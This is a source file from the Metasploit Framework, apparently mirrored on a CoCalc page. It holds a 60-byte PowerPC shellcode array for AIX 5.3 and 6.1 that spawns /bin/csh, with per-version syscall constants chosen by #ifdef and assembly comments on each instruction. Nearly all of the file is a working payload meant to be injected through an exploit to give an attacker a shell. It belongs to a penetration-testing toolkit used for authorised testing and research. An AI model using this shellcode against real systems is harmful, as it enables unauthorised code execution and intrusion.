CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/aix-power-shellcode.c
Views: 11766
1
/*
2
* aix-power-shellcode.c
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
/*
22
* Supported AIX versions:
23
*
24
* -DAIX614 AIX Version 6.1.4
25
* -DAIX613 AIX Version 6.1.3
26
* -DAIX612 AIX Version 6.1.2
27
* -DAIX611 AIX Version 6.1.1
28
* -DAIX5310 AIX Version 5.3.10
29
* -DAIX539 AIX Version 5.3.9
30
* -DAIX538 AIX Version 5.3.8
31
* -DAIX537 AIX Version 5.3.7
32
*
33
*/
34
35
char shellcode[]= /* 60 bytes */
36
"\x3b\xa0\x07\xff" /* lil r29,2047 */
37
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
38
"\x40\x82\xff\xf9" /* bnel <shellcode> */
39
"\x7f\xc8\x02\xa6" /* mflr r30 */
40
"\x3b\xde\x01\xff" /* cal r30,511(r30) */
41
"\x38\x7e\xfe\x29" /* cal r3,-471(r30) */
42
"\x98\xbe\xfe\x31" /* stb r5,-463(r30) */
43
"\x94\xa1\xff\xfc" /* stu r5,-4(r1) */
44
"\x94\x61\xff\xfc" /* stu r3,-4(r1) */
45
"\x7c\x24\x0b\x78" /* mr r4,r1 */
46
#ifdef AIX614
47
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
48
#endif
49
#ifdef AIX613
50
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
51
#endif
52
#ifdef AIX612
53
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
54
#endif
55
#ifdef AIX611
56
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
57
#endif
58
#ifdef AIX610
59
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
60
#endif
61
#ifdef AIX5310
62
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
63
#endif
64
#ifdef AIX539
65
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
66
#endif
67
#ifdef AIX538
68
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
69
#endif
70
#ifdef AIX537
71
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
72
#endif
73
74
"\x4c\xc6\x33\x42" /* crorc 6,6,6 */
75
"\x44\xff\xff\x02" /* svca 0 */
76
"/bin/csh"
77
;
78
79
80